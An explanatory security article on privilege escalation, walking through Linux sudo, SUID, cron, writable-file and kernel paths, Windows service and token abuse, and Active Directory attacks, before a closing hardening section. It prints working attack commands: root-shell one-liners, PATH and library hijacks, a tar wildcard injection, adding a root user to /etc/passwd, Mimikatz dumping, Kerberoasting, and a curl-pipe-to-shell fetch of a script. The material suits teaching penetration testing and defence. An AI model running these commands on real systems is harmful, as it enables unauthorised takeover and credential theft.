What is Privilege Escalation? How Attackers Go From Foothold to Full Control

An attacker starts with a low-privileged shell or user account and escalates to root or Administrator using misconfigurations, SUID binaries, kernel exploits, and Active Directory attacks. Here's every technique, the tools professionals use, and how to harden against it.

Getting initial access is usually just the beginning. In most real-world attack scenarios — and in most penetration tests — the initial foothold is low-privileged. A web shell that executes as www-data. A reverse shell from a phishing payload running as a standard domain user. A compromised developer account that can access the application but not the underlying server.

Privilege escalation is the process of moving from that limited initial access to a higher level of privilege: local administrator, root, SYSTEM, domain administrator. This is where an attacker goes from "I can read some files" to "I own everything."

Understanding privilege escalation matters from both directions. Penetration testers need to demonstrate real business impact — showing that an XSS vulnerability chains to a remote shell that chains to root is a more compelling finding than just the XSS. Defenders need to understand the techniques to close the paths before attackers use them.

Vertical and Horizontal

Vertical privilege escalation — moving up the privilege hierarchy. From a standard user to administrator. From a service account to root. From a domain user to domain administrator. This is what people mean when they say "privilege escalation" without qualification.

Horizontal privilege escalation — moving laterally to another account at the same privilege level but with different access. From your user account to another user's account. This matters when the target data is owned by a different account, or when pivoting to another user's account provides access to systems your current account can't reach.

Both are valuable in real attacks. A domain user who can pivot to the backup service account inherits all the permissions that service account has — which might include read access to every server in the environment.

Linux Privilege Escalation Techniques

Enumeration First

Before running any exploit, enumerate the system thoroughly. What you're looking for is a misconfiguration, overpermission, or unpatched vulnerability that provides a path to root.

# Current user context
id && whoami
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
# Operating system and kernel version
uname -a
cat /etc/os-release
cat /proc/version
 
# What can this user run as sudo?
sudo -l
# Look for: (ALL : ALL) ALL, or specific binaries with (root) NOPASSWD
 
# SUID and SGID binaries — run as the file owner (often root) regardless of who runs them
find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID
 
# World-writable files and directories
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null
 
# Cron jobs — scripts running as root on a schedule?
cat /etc/crontab
ls -la /etc/cron.*
crontab -l  # Current user's cron
cat /var/spool/cron/crontabs/root 2>/dev/null
 
# Passwords and credentials in config files
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name ".env" -readable 2>/dev/null
find / -name "config.php" -readable 2>/dev/null  # Database credentials
 
# Other users and their home directories
cat /etc/passwd
ls -la /home/
 
# Network information — what's running and reachable internally?
ip a
netstat -antup
ss -tlnp
cat /etc/hosts
 
# Running processes
ps aux
# Look for processes running as root with world-readable configuration
 
# Installed software versions
dpkg -l  # Debian/Ubuntu
rpm -qa  # Red Hat/CentOS

This manual enumeration is what professional testers do before reaching for automated tools. Understanding why each check matters is more valuable than just running a script.

LinPEAS is the automated enumeration script that runs these checks and more, color-coding findings by severity:

# Download and run LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null | tee linpeas_output.txt
 
# Or run directly from memory (no file written to disk)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinPEAS checks hundreds of potential privilege escalation vectors and highlights the most promising ones. It's noisy — it generates a lot of output — but it catches things manual enumeration misses.

Technique 1: Sudo Misconfigurations

sudo -l shows what the current user can execute with elevated privileges. Common misconfigurations:

NOPASSWD sudo on specific binaries:

# sudo -l output shows:
# (root) NOPASSWD: /usr/bin/vim
 
# Exploit: vim can execute shell commands
sudo vim -c ':!/bin/bash'
# Result: root shell
# (root) NOPASSWD: /usr/bin/find
 
sudo find /etc -exec /bin/sh \;
# Result: root shell

GTFOBins (gtfobins.github.io) documents privilege escalation paths for virtually every standard Linux binary. If you can run a binary as sudo — python, perl, awk, nmap, less, more, curl, wget — GTFOBins almost certainly has a technique to get a shell.

# Python as sudo
sudo python3 -c 'import os; os.system("/bin/bash")'
 
# Perl as sudo
sudo perl -e 'exec "/bin/bash"'
 
# Nmap interactive mode (older versions)
sudo nmap --interactive
nmap> !sh
 
# awk as sudo
sudo awk 'BEGIN {system("/bin/bash")}'
 
# less as sudo (less loads a pager — you can execute shell commands from it)
sudo less /etc/passwd
# Then type: !bash

ALL ALL=(ALL) ALL with password: The user can run anything as any user with their password. If the password is known (from a config file, credential reuse, or the initial compromise), this is trivially a root shell: sudo su.

Technique 2: SUID Binaries

SUID (Set User ID) means the binary runs as its owner, not as the user who executes it. A SUID binary owned by root runs as root for anyone who executes it. Legitimate SUID binaries include passwd, ping, and su. Unusual SUID binaries are exploitation paths.

# Find non-standard SUID binaries
find / -perm -4000 -type f 2>/dev/null | grep -v -E "^/(bin|usr/bin|usr/sbin|sbin)/"
 
# Common SUID exploitation with GTFOBins
# If 'cp' is SUID:
cp /etc/passwd /tmp/passwd_copy  # Read files as root
cp /tmp/evil_authorized_keys /root/.ssh/authorized_keys  # Write files as root
 
# If 'bash' is SUID (common CTF scenario, occasional production misconfiguration):
/bin/bash -p  # The -p flag preserves effective UID
# Result: root shell

Custom SUID binaries written by developers are frequently vulnerable. A SUID binary that calls system commands (via system(), popen(), or exec()) with a path rather than an absolute path is vulnerable to PATH hijacking:

// Vulnerable SUID binary source code
#include <stdlib.h>
int main() {
    // Calls 'service' without absolute path
    system("service apache2 restart");  // VULNERABLE
    // system("/usr/sbin/service apache2 restart");  // SAFE
    return 0;
}
# Exploit PATH hijacking
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
./vulnerable_suid_binary
# Result: root shell (because /tmp/service runs as root via SUID)

Technique 3: Cron Job Misconfigurations

Cron jobs run on a schedule as their configured user — often root. If a cron job calls a script that the current user can modify, that script is a privilege escalation path.

# Find world-writable scripts called by cron jobs
cat /etc/crontab
# Example output:
# * * * * * root /opt/scripts/backup.sh
 
ls -la /opt/scripts/backup.sh
# Output: -rwxrwxrwx 1 root root 120 Jan 1 2024 /opt/scripts/backup.sh
# World-writable! Everyone can modify this file that runs as root every minute.
 
# Add a reverse shell or privilege escalation to the script
echo 'chmod +s /bin/bash' >> /opt/scripts/backup.sh
# Wait for cron to run, then:
/bin/bash -p
# Result: root shell (bash is now SUID)

The same logic applies to scripts or binaries referenced in cron jobs that are located in world-writable directories.

Wildcard injection in cron: Some cron jobs use wildcards in commands like tar or chown. If an attacker can create files in the directory being processed, they can inject command-line arguments:

# Cron job: cd /backup && tar czf /tmp/backup.tgz *
# The * expands to all filenames in /backup
# If attacker can create files in /backup:
 
touch '/backup/--checkpoint=1'
touch '/backup/--checkpoint-action=exec=sh privesc.sh'
# When tar runs with *, these filenames become command-line arguments
# --checkpoint-action=exec executes the script as root

Technique 4: Writable Files and Paths

Some privilege escalation paths come from files that shouldn't be writable:

Writable /etc/passwd: On old or misconfigured systems, /etc/passwd might be world-writable. Add a new root user:

# Check if /etc/passwd is writable
ls -la /etc/passwd
 
# Generate a password hash
openssl passwd -1 -salt xyz attackerpass
# Output: $1$xyz$HASH
 
# Add a root-privileged user
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
# Result: root shell

Library hijacking: If a binary loads shared libraries from a path the attacker can write to, they can inject a malicious library:

# Find writable library paths
ldd /usr/local/bin/target_binary  # Show linked libraries
 
# If LD_LIBRARY_PATH is set or a library path is writable:
cat > /writable/path/libvulnerable.so.1 << 'EOF'
void __attribute__((constructor)) init() {
    system("/bin/bash -p");
}
EOF
# Run the binary — the constructor function executes first, as root

Technique 5: Kernel Exploits

When no misconfiguration is available, kernel exploits target unpatched vulnerabilities in the Linux kernel itself. These are high-risk — kernel exploits can crash the system — and should be used as a last resort in penetration testing with client awareness.

# Check kernel version
uname -r
# Then search for known exploits: "Linux kernel 5.4 privilege escalation CVE"
 
# Notable kernel privilege escalation vulnerabilities:
# DirtyPipe (CVE-2022-0847) — Linux 5.8-5.16, write to read-only files
# DirtyCow (CVE-2016-5195) — race condition, local privilege escalation
# Sudo Baron Samedit (CVE-2021-3156) — heap overflow in sudo
 
# searchsploit — search Exploit-DB from command line
searchsploit linux kernel $(uname -r | cut -d'-' -f1) privilege escalation
 
# Always test kernel exploits in a controlled environment first
# They can kernel panic production systems

Windows Privilege Escalation Techniques

Windows environments, especially in corporate settings, have a rich set of privilege escalation paths that differ substantially from Linux.

Service Misconfigurations

Windows services run as configured users — often SYSTEM or an administrative account. Misconfigured services are primary escalation paths.

# Enumerate services with misconfigured permissions
# PowerUp — automated Windows privilege escalation checker
. .\PowerUp.ps1
Invoke-AllChecks
 
# Manual service permission check
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService"
 
# Check if service binary path is in a writable directory
wmic service get name,pathname,startmode | findstr /v "System32"
# Look for services with paths in user-writable locations
 
# Check for unquoted service paths (spaces in path without quotes)
wmic service get name,pathname | findstr /i " " | findstr /v '"' | findstr /v "C:\Windows"
# If service path: C:\Program Files\Vulnerable App\service.exe
# Windows may also look for: C:\Program.exe or C:\Program Files\Vulnerable.exe

Unquoted service paths: If a service path contains spaces and isn't quoted, Windows searches for executables in intermediate paths. For C:\Program Files\Vulnerable App\service.exe, Windows tries C:\Program.exe first, then C:\Program Files\Vulnerable.exe, etc. If the attacker can write to C:\Program.exe, they win.

Token Impersonation

Windows access tokens represent the security context of processes and threads. Certain privileges allow a process to impersonate other tokens:

# Check current privileges
whoami /priv
 
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# These are the golden tickets for token impersonation attacks
 
# With SeImpersonatePrivilege, Juicy Potato or PrintSpoofer escalate to SYSTEM
# Run from a service account or IIS web shell that has SeImpersonatePrivilege:
.\PrintSpoofer64.exe -i -c cmd  # Get SYSTEM shell

SeImpersonatePrivilege is commonly granted to IIS application pool accounts and SQL Server service accounts. A web shell running as IIS APPPOOL\DefaultAppPool will typically have this privilege — making SYSTEM escalation straightforward.

Active Directory Attacks

In domain environments, escalating within Active Directory is often more valuable than local root on a single system. Domain Administrator owns every system in the domain.

# BloodHound — graph-based AD attack path analysis
# Run SharpHound collector on compromised host
.\SharpHound.exe --CollectionMethods All --ZipFileName output.zip
 
# Import output into BloodHound GUI to visualize attack paths
# "Find Shortest Paths to Domain Admins" query shows escalation chains
 
# Common AD escalation paths:
# - Kerberoasting: Request service tickets for service accounts, crack offline
Invoke-Kerberoast -OutputFormat Hashcat | Out-File kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
 
# - AS-REP Roasting: Users without Kerberos pre-auth required
Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $true' | Select Name
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
 
# - Pass-the-Hash: Use NTLM hash instead of plaintext password
# Dump local credentials with Mimikatz (requires admin)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
 
# - DCSync: Domain Admin equivalent can replicate the entire AD database
mimikatz.exe "lsadump::dcsync /user:Administrator" exit

BloodHound visually maps attack paths through AD that are otherwise invisible. A developer account might have GenericWrite permission on a service account, which can be abused to set an SPN for Kerberoasting, which yields a crackable hash, which logs in to a server with admin access, which allows DCSync. BloodHound finds these multi-hop paths automatically.

Automated Escalation Tools

LinPEAS — Linux/Mac automated enumeration. Color-coded output highlighting the most promising escalation paths. The first tool to run after gaining a shell.

WinPEAS — Windows equivalent. Checks services, scheduled tasks, registry keys, credentials, and hundreds of other Windows-specific vectors.

PowerUp — PowerShell-based Windows privilege escalation checker. Focused specifically on service misconfigurations, unquoted paths, and token abuse.

BloodHound — Active Directory attack path analysis. Collects data with SharpHound, visualizes attack paths graphically. The most important tool for domain escalation.

BeRoot — cross-platform privilege escalation checker.

# Typical Linux privilege escalation workflow
# 1. Get a shell (reverse shell, web shell, etc.)
# 2. Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z, then: stty raw -echo; fg
 
# 3. Basic manual enum
id; sudo -l; uname -a
 
# 4. Run LinPEAS
./linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
 
# 5. Review output, starting with high-severity (red/yellow) findings
 
# 6. Check GTFOBins for any SUID binaries or sudo permissions found
 
# 7. Exploit the most promising path
 
# 8. Verify escalation
id  # Should show root or target user

Defensive Hardening Against Privilege Escalation

Understanding the attacks makes the defenses obvious:

Principle of least privilege — users and service accounts should have the minimum permissions required. Service accounts shouldn't be local administrators unless genuinely needed. Web servers should run as low-privileged users (www-data, not root).

Regular patching — kernel exploits only work on unpatched systems. Patch management that keeps kernel versions current eliminates entire classes of privilege escalation.

SUID binary audit — regularly enumerate SUID binaries and remove the SUID bit from anything that doesn't legitimately need it:

# Find non-standard SUID binaries
find / -perm -4000 -type f 2>/dev/null
 
# Remove SUID bit from unnecessary binaries
chmod u-s /path/to/unnecessary/suid/binary

Cron job security — cron jobs should reference scripts by absolute path. Scripts called by root cron jobs must not be world-writable. Store them in system directories (/usr/local/bin/), not user-accessible locations.

sudo configuration reviewsudo -l output should be minimal. NOPASSWD rules should be avoided. If required, scope them to the specific binary needed, not ALL. Audit /etc/sudoers regularly.

/etc/passwd and /etc/shadow permissions — these files must never be world-writable. Check: ls -la /etc/passwd /etc/shadow. The passwd file should be 644 (root rw, everyone else r). Shadow should be 640 or 000.

Service account privileges in Windows — IIS app pool accounts and SQL Server service accounts should not have SeImpersonatePrivilege unless the application specifically requires it. Review token privileges on service accounts.

Active Directory hygiene — BloodHound can be run defensively against your own environment to find escalation paths before attackers do. Remove unnecessary ACL permissions, audit AdminSDHolder settings, disable Kerberos pre-auth only where legitimately needed.

Privilege escalation isn't exotic. The vast majority of successful escalations in real-world engagements use basic techniques against basic misconfigurations — SUID binaries that shouldn't be SUID, cron scripts that are world-writable, sudo permissions granted for convenience without thinking through the implications. The defenses are equally basic to implement. The gap is awareness.